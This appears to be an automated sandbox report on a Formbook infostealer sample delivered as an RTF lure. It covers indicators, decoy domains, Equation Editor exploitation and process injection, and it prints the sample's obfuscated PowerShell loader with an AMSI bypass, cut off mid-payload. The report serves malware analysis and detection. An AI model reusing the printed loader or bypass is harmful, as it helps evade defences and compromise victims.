formbook | a2f34d41dae7d24e7a1e6c67b720266f3562fa588f9425bfd9d97db75fa69dac

General

Target

RFQ_20220131.rtf
Size

2.2MB
MD5

1003a3560932316f965eceb34ec38488
SHA1

ff874bf58b3d4e6563803c4c5353be46c937bb8d
SHA256

a2f34d41dae7d24e7a1e6c67b720266f3562fa588f9425bfd9d97db75fa69dac
SHA512

42b0b0577c285350487c0a0868de375914f1f5040ac3b02b689aaa060fa4a7aa010d4908aeee0671eaca46a03b97d0dbc34f10259ddf7d07dc5978b42b6c07ff

Score

10^/10

formbook mz16 rat spyware stealer suricata trojan

Malware Config

Extracted

Family

formbook

Version

4.1

Campaign

mz16

Decoy

isletme.xyz

o7agj7.xyz

no-fucks-given.com

khaomaneecat.com

meta-medical.store

cxtopy.link

abcsquaredancing.com

zonaserbaserbi.com

enfgames.com

drakestonecapitalgroup.com

einfachstadtreiniger.com

nftsmartlicense.com

2333.site

archate.com

floridacoastwellness.com

garciawam.com

2022sg.xyz

offertntdjj.xyz

lightunclyuchand71.xyz

friv.asia

Signatures

Formbook
Formbook is a data stealing malware which is capable of stealing data.
trojan spyware stealer formbook
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

Powershell.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 972 1308 Powershell.exe
suricata: ET MALWARE FormBook CnC Checkin (GET)
suricata: ET MALWARE FormBook CnC Checkin (GET)
suricata

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	972	1308	Powershell.exe

Formbook Payload 2 IoCs

rat

Processes:

resource	yara_rule
behavioral1/memory/1236-76-0x0000000000400000-0x000000000042F000-memory.dmp	formbook
behavioral1/memory/1796-84-0x0000000000080000-0x00000000000AF000-memory.dmp	formbook

Blocklisted process makes network request 2 IoCs

Processes:

Powershell.exe

flow pid process

6 972 Powershell.exe
8 972 Powershell.exe

flow	pid	process
6	972	Powershell.exe
8	972	Powershell.exe

Drops file in System32 directory 1 IoCs

Processes:

Powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	Powershell.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

Powershell.execalc.exeexplorer.exe

description	pid	process	target process
PID 972 set thread context of 1236	972	Powershell.exe	calc.exe
PID 1236 set thread context of 1448	1236	calc.exe	Explorer.EXE
PID 1796 set thread context of 1448	1796	explorer.exe	Explorer.EXE

Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Office loads VBA resources, possible macro or embedded object present
Launches Equation Editor 1 TTPs 1 IoCs
Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.
exploit

Exploitation for Client Execution
T1203

Processes:

EQNEDT32.EXE

pid process

432 EQNEDT32.EXE

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

pid	process
432	EQNEDT32.EXE

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE

Modifies registry class 64 IoCs

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\mhtmlfile	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohevi.dll"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon\ = "\"%1\""	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\htmlfile	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ = "&Open"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\ = "&Edit"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ThreadingModel = "Apartment"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1192 WINWORD.EXE

pid	process
1192	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 24 IoCs

Processes:

Powershell.execalc.exeexplorer.exe

pid	process
972	Powershell.exe
972	Powershell.exe
972	Powershell.exe
1236	calc.exe
1236	calc.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

Explorer.EXE

pid process

1448 Explorer.EXE
Suspicious behavior: MapViewOfSection 5 IoCs

Processes:

calc.exeexplorer.exe

pid process

1236 calc.exe
1236 calc.exe
1236 calc.exe
1796 explorer.exe
1796 explorer.exe

pid	process
1448	Explorer.EXE

pid	process
1236	calc.exe
1236	calc.exe
1236	calc.exe
1796	explorer.exe
1796	explorer.exe

Suspicious use of AdjustPrivilegeToken 29 IoCs

Processes:

Powershell.execalc.exeexplorer.exeExplorer.EXE

description	pid	process
Token: SeDebugPrivilege	972	Powershell.exe
Token: SeIncreaseQuotaPrivilege	972	Powershell.exe
Token: SeSecurityPrivilege	972	Powershell.exe
Token: SeTakeOwnershipPrivilege	972	Powershell.exe
Token: SeLoadDriverPrivilege	972	Powershell.exe
Token: SeSystemProfilePrivilege	972	Powershell.exe
Token: SeSystemtimePrivilege	972	Powershell.exe
Token: SeProfSingleProcessPrivilege	972	Powershell.exe
Token: SeIncBasePriorityPrivilege	972	Powershell.exe
Token: SeCreatePagefilePrivilege	972	Powershell.exe
Token: SeBackupPrivilege	972	Powershell.exe
Token: SeRestorePrivilege	972	Powershell.exe
Token: SeShutdownPrivilege	972	Powershell.exe
Token: SeDebugPrivilege	972	Powershell.exe
Token: SeSystemEnvironmentPrivilege	972	Powershell.exe
Token: SeRemoteShutdownPrivilege	972	Powershell.exe
Token: SeUndockPrivilege	972	Powershell.exe
Token: SeManageVolumePrivilege	972	Powershell.exe
Token: 33	972	Powershell.exe
Token: 34	972	Powershell.exe
Token: 35	972	Powershell.exe
Token: SeDebugPrivilege	1236	calc.exe
Token: SeDebugPrivilege	1796	explorer.exe
Token: SeShutdownPrivilege	1448	Explorer.EXE
Token: SeShutdownPrivilege	1448	Explorer.EXE
Token: SeShutdownPrivilege	1448	Explorer.EXE
Token: SeShutdownPrivilege	1448	Explorer.EXE
Token: SeShutdownPrivilege	1448	Explorer.EXE
Token: SeShutdownPrivilege	1448	Explorer.EXE

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

1192 WINWORD.EXE
1192 WINWORD.EXE

pid	process
1192	WINWORD.EXE
1192	WINWORD.EXE

Suspicious use of WriteProcessMemory 27 IoCs

Processes:

EQNEDT32.EXECmD.exeWINWORD.EXEPowershell.exeExplorer.EXEexplorer.exe

description	pid	process	target process
PID 432 wrote to memory of 560	432	EQNEDT32.EXE	CmD.exe
PID 432 wrote to memory of 560	432	EQNEDT32.EXE	CmD.exe
PID 432 wrote to memory of 560	432	EQNEDT32.EXE	CmD.exe
PID 432 wrote to memory of 560	432	EQNEDT32.EXE	CmD.exe
PID 560 wrote to memory of 1388	560	CmD.exe	cscript.exe
PID 560 wrote to memory of 1388	560	CmD.exe	cscript.exe
PID 560 wrote to memory of 1388	560	CmD.exe	cscript.exe
PID 560 wrote to memory of 1388	560	CmD.exe	cscript.exe
PID 1192 wrote to memory of 1720	1192	WINWORD.EXE	splwow64.exe
PID 1192 wrote to memory of 1720	1192	WINWORD.EXE	splwow64.exe
PID 1192 wrote to memory of 1720	1192	WINWORD.EXE	splwow64.exe
PID 1192 wrote to memory of 1720	1192	WINWORD.EXE	splwow64.exe
PID 972 wrote to memory of 1236	972	Powershell.exe	calc.exe
PID 972 wrote to memory of 1236	972	Powershell.exe	calc.exe
PID 972 wrote to memory of 1236	972	Powershell.exe	calc.exe
PID 972 wrote to memory of 1236	972	Powershell.exe	calc.exe
PID 972 wrote to memory of 1236	972	Powershell.exe	calc.exe
PID 972 wrote to memory of 1236	972	Powershell.exe	calc.exe
PID 972 wrote to memory of 1236	972	Powershell.exe	calc.exe
PID 1448 wrote to memory of 1796	1448	Explorer.EXE	explorer.exe
PID 1448 wrote to memory of 1796	1448	Explorer.EXE	explorer.exe
PID 1448 wrote to memory of 1796	1448	Explorer.EXE	explorer.exe
PID 1448 wrote to memory of 1796	1448	Explorer.EXE	explorer.exe
PID 1796 wrote to memory of 672	1796	explorer.exe	cmd.exe
PID 1796 wrote to memory of 672	1796	explorer.exe	cmd.exe
PID 1796 wrote to memory of 672	1796	explorer.exe	cmd.exe
PID 1796 wrote to memory of 672	1796	explorer.exe	cmd.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1448

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\RFQ_20220131.rtf"
2⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1192

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
3⤵
PID:1720

C:\Windows\SysWOW64\explorer.exe
"C:\Windows\SysWOW64\explorer.exe"
2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1796

C:\Windows\SysWOW64\cmd.exe
/c del "C:\WINDOWS\syswow64\calc.exe"
3⤵
PID:672

C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
1⤵
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:432

C:\Windows\SysWOW64\CmD.exe
CmD.exe /C cscript %tmp%\Client.vbs AC
2⤵
- Suspicious use of WriteProcessMemory
PID:560

C:\Windows\SysWOW64\cscript.exe
cscript C:\Users\Admin\AppData\Local\Temp\Client.vbs AC
3⤵
PID:1388

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell $a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like '*iUtils') {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like '*Context') {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1);$758886698585848839388847578584837828283747885=@(91,82,101,102,93,46,65,115,115,101,109,98,108,121,46,71,101,116,84,121,112,101,40,39,83,121,39,43,39,115,116,101,109,46,39,43,39,77,97,110,97,39,43,39,103,101,109,39,43,39,101,110,116,39,43,39,46,65,117,116,111,109,39,43,39,97,116,105,111,39,43,39,110,46,39,43,36,40,91,67,72,65,114,93,40,57,56,45,51,51,41,43,91,99,72,65,114,93,40,49,50,52,45,49,53,41,43,91,99,104,65,82,93,40,49,49,53,41,43,91,67,72,97,82,93,40,91,66,89,116,101,93,48,120,54,57,41,41,43,39,85,116,105,108,115,39,41,46,71,101,116,70,105,101,108,100,40,36,40,91,67,104,65,114,93,40,91,98,121,116,101,93,48,120,54,49,41,43,91,99,104,97,82,93,40,91,98,89,116,69,93,48,120,54,68,41,43,91,99,104,97,114,93,40,91,98,121,84,101,93,48,120,55,51,41,43,91,99,104,65,114,93,40,49,49,48,45,53,41,43,91,99,104,65,82,93,40,91,66,89,84,69,93,48,120,52,57,41,43,91,99,72,97,82,93,40,57,54,56,48,47,56,56,41,43,91,99,72,97,82,93,40,49,48,53,41,43,91,67,104,97,114,93,40,91,98,89,116,101,93,48,120,55,52,41,43,91,67,104,97,114,93,40,91,66,89,84,69,93,48,120,52,54,41,43,91,99,104,97,114,93,40,49,52,56,45,53,49,41,43,91,99,72,65,82,93,40,57,53,53,53,47,57,49,41,43,91,67,104,65,82,93,40,49,48,56,41,43,91,67,104,65,114,93,40,54,50,54,50,47,54,50,41,43,91,67,104,65,82,93,40,91,98,89,84,69,93,48,120,54,52,41,41,44,39,78,111,110,80,117,98,108,105,99,44,83,116,97,116,105,99,39,41,46,83,101,116,86,97,108,117,101,40,36,110,117,108,108,44,36,116,114,117,101,41,59,40,36,68,48,48,70,57,70,49,85,67,54,61,36,68,48,48,70,57,70,49,85,67,54,61,87,114,105,116,101,45,72,111,115,116,32,39,68,48,48,70,57,70,49,85,67,54,48,53,48,69,69,57,53,69,53,67,66,48,50,65,53,50,65,48,56,49,56,51,48,54,50,65,54,70,65,65,65,68,48,48,70,57,70,49,85,67,54,48,53,48,69,69,57,53,69,53,67,66,48,50,65,53,50,65,48,56,49,56,51,48,54,50,65,54,70,65,65,65,68,48,48,70,57,70,49,85,67,54,48,53,48,69,69,57,53,69,39,41,59,100,111,32,123,36,112,105,110,103,32,61,32,116,101,115,116,45,99,111,110,110,101,99,116,105,111,110,32,45,99,111,109,112,32,103,111,111,103,108,101,46,99,111,109,32,45,99,111,117,110,116,32,49,32,45,81,117,105,101,116,125,32,117,110,116,105,108,32,40,36,112,105,110,103,41,59,36,66,48,50,65,53,50,65,48,56,49,32,61,32,91,69,110,117,109,93,58,58,84,111,79,98,106,101,99,116,40,91,83,121,115,116,101,109,46,78,101,116,46,83,101,99,117,114,105,116,121,80,114,111,116,111,99,111,108,84,121,112,101,93,44,32,51,48,55,50,41,59,91,83,121,115,116,101,109,46,78,